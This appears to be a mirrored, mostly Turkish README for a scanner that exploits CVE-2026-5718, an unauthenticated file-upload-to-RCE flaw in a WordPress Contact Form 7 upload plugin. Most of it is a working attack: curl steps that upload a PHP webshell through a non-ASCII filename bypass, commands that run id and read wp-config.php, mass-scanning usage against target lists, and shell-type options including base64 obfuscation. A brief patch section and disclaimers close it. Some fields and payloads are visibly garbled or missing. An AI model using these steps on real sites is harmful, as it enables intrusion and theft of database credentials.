Share
## https://sploitus.com/exploit?id=22785EA3-3E33-54A7-A46A-7A919CA352AF
# CVE-2026-5718
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
# CVE-2026-5718 — DnD CF7 File Upload RCE Scanner
> **Plugin:** Drag and Drop Multiple File Upload for Contact Form 7
> **Plugin Slug:** `drag-and-drop-multiple-file-upload-contact-form-7`
> **CVE ID:** CVE-2026-5718
> **CVSS Score:** 8.1 (High)
> **CVSS Vector:** `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H`
> **Zafiyet Türü:** Unauthenticated Arbitrary File Upload → Remote Code Execution
> **Etkilenen Sürümler:** **Yamalı Sürüm:** 1.3.9.7
> **Yayın Tarihi:** 17 Nisan 2026
> **Araştırmacı:** Leonid Semenenko (lsemenenko) — Wordfence
---
## 📌 Zafiyet Hakkında
Drag and Drop Multiple File Upload for Contact Form 7 eklentisinde
**iki bağımsız mantık hatası** birleşerek kimliği doğrulanmamış
saldırganların PHP webshell yüklemesine olanak tanır.
1. **Blacklist Yıkımı:** Özel blacklist yapılandırması varsayılan
tehlikeli uzantı listesini **birleştirmek yerine tamamen değiştirir.**
`php` artık engellenmez.
2. **Non-ASCII Bypass:** Dosya adında non-ASCII karakter bulunması
`wpcf7_antiscript_file_name()` fonksiyonunun çağrılmasını engeller.
`.php` uzantısı korunur ve dosya diske yazılır.
---
## 🔍 Zafiyet Özeti
| Alan | Değer |
|---|---|
| **Plugin Adı** | Drag and Drop Multiple File Upload for CF7 |
| **CVE ID** | CVE-2026-5718 |
| **CVSS Skoru** | 8.1 (High) |
| **Zafiyet Türü** | Unauthenticated Arbitrary File Upload |
| **Etkilenen Sürüm** | /shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → Unauthenticated RCE ✓ │
└─────────────────────────────────────────────────────────────┘
```
---
## 🧪 Proof of Concept (Manuel)
> ⚠️ **Disclaimer:** This PoC is provided for educational and defensive
> security research purposes only. Use only on systems you own or have
> explicit written authorization to test.
**Ön Koşullar:**
- Plugin kurulu ve aktif (sürüm ' > "/tmp/${SHELL_FILENAME}"
```
---
### Adım 3 — Shell Yükle
```bash
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
```
Beklenen yanıt:
```json
{
"success": true,
"data": {
"path": "",
"file": "shellシ.php"
}
}
```
---
### Adım 4 — Shell URL Oluştur
```bash
UPLOAD_PATH=""
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
```
---
### Adım 5 — RCE Tetikle
```bash
# id komutu
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# wp-config.php oku
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
```
---
## 🛠️ Otomatik Tarayıcı
### Kurulum
```bash
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
```
**requirements.txt**
```
requests
```
---
## 🚀 Kullanım
### Tekil Hedef — Tam Otomatik
```bash
python dnd_cf7_upload.py -u http://hedef.com
```
### Form ID ve Field Adı Manuel
```bash
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
```
### Full Shell + Özel Komut
```bash
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
```
### Toplu Tarama
```bash
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
```
### Proxy ile (Burp Suite)
```bash
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
```
---
## ⚙️ Parametreler
| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `10` |
| `--output` | `-o` | Çıktı dosyası | `rce_results.txt` |
| `--form-id` | — | CF7 form ID | otomatik tespit |
| `--field-name` | — | mfile field adı | `upload-file` |
| `--shell-name` | — | Shell dosya adı | `shell` |
| `--shell-type` | — | Shell tipi | `system` |
| `--verify-cmd` | — | RCE doğrulama komutu | `id` |
| `--proxy` | — | Proxy URL | — |
| `--timeout` | — | İstek timeout (sn) | `10` |
| `--force` | — | Plugin tespiti başarısız olsa devam et | `False` |
---
## 💀 Shell Tipleri
| Tip | Payload | Açıklama |
|---|---|---|
| `system` | `` | Temel sistem komutu |
| `passthru` | `` | Ham çıktı |
| `exec` | `` | Sessiz çalıştırma |
| `assert` | `` | POST ile eval |
| `b64` | `` | Base64 obfuscation |
| `full` | shell_exec + system + exec fallback | Tam kapsamlı |
---
## 🔤 Non-ASCII Karakter Seti
Tarayıcı aşağıdaki karakterleri sırayla dener:
| Karakter | Unicode | Açıklama |
|---|---|---|
| `シ` | U+30B7 | Katakana Si (PoC'de kullanılan) |
| `ж` | U+0436 | Kiril |
| `ñ` | U+00F1 | Latin Extended |
| `中` | U+4E2D | CJK |
| `α` | U+03B1 | Yunan |
| `ß` | U+00DF | Almanca |
---
## 📂 Shell Yükleme Konumu
```
WordPress Kök/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── /
└── shellシ.php ← Shell burada
```
> ⚠️ **Not:** Eklenti varsayılan olarak 1 saat sonra dosyaları temizler.
> Shell bu süre içinde erişilebilir durumdadır.
---
## 📊 Tarayıcı Çıktı Durumları
| Durum | Açıklama |
|---|---|
| `★ RCE OK` | Shell yüklendi + komut çalıştı |
| `★ SHELL ALIVE` | Shell erişilebilir, farklı yanıt |
| `~ EXEC_DISABLED` | Shell var, exec() kapalı |
| `~ HTACCESS` | Shell yüklendi ama .htaccess engeli |
| `? UPLOADED` | Yüklendi ama URL bulunamadı |
| `- UPL_FAIL` | Yükleme başarısız (yamalı/konfigürasyon yok) |
| `~ NO_NONCE` | Nonce alınamadı |
| `- NO_PLUGIN` | Eklenti kurulu değil |
| `~ UNREACH` | Hedefe ulaşılamıyor |
---
## 🖥️ Örnek Tarayıcı Çıktısı
```
[*] Hedef : http://hedef.com
[*] Form ID : otomatik tespit
[*] Shell Tipi : system
[*] Verify CMD : id
[→] http://hedef.com Adım 1/5: Nonce alınıyor...
[→] http://hedef.com Adım 2/5: CF7 form tespiti...
[→] http://hedef.com Adım 3/5: Shell yükleniyor (non-ASCII bypass)...
[→] http://hedef.com Adım 4/5: Shell URL oluşturuluyor...
[→] http://hedef.com Adım 5/5: RCE doğrulanıyor...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://hedef.com
Sürüm : 1.3.9.6
Nonce : abc123def4 (kaynak: ajax_endpoint)
Non-ASCII : シ
Shell URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] Kaydedildi → rce_results.txt
```
---
## 🛡️ Savunma / Yama
| Önlem | Uygulama |
|---|---|
| **Eklenti Güncellemesi** | 1.3.9.7+ sürümüne yükselt |
| **Blacklist Birleştirme** | `=` yerine `array_merge()` kullan |
| **Koşulsuz Antiscript** | `wpcf7_antiscript_file_name()` her zaman çağrılmalı |
| **Nonce Koruması** | Nonce endpoint'i public erişime kapatılmalı |
| **.htaccess** | Upload dizininde PHP çalıştırmayı engelle |
**Güvenli blacklist birleştirme:**
```php
// Güvensiz (mevcut — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// Güvenli (önerilen — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
```
**Koşulsuz antiscript:**
```php
// Güvensiz (mevcut)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// Güvenli (önerilen)
$filename = wpcf7_antiscript_file_name( $filename ); // her zaman çağır
```
**Upload dizini .htaccess:**
```apache
Deny from all
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
```
---
## 📁 Dosya Yapısı
```
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
```
---
## ⚠️ Yasal Uyarı
> Bu araç ve PoC yalnızca **yetkili sistemlerde**, **eğitim amaçlı** ve
> **penetrasyon testi** kapsamında kullanılmak üzere hazırlanmıştır.
> İzinsiz sistemlerde kullanımı **Türk Ceza Kanunu 243-245. maddeleri**
> ve uluslararası siber suç yasaları kapsamında **suç teşkil eder.**
> Geliştirici, aracın kötüye kullanımından doğacak hiçbir hukuki
> sorumluluk kabul etmez.
---
## 📄 Lisans
MIT License — Yalnızca eğitim ve araştırma amaçlıdır.
---
## 🔗 Referanslar
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [Plugin WordPress Directory](https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)
- [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
- [Unicode Non-ASCII Characters](https://www.unicode.org/charts/)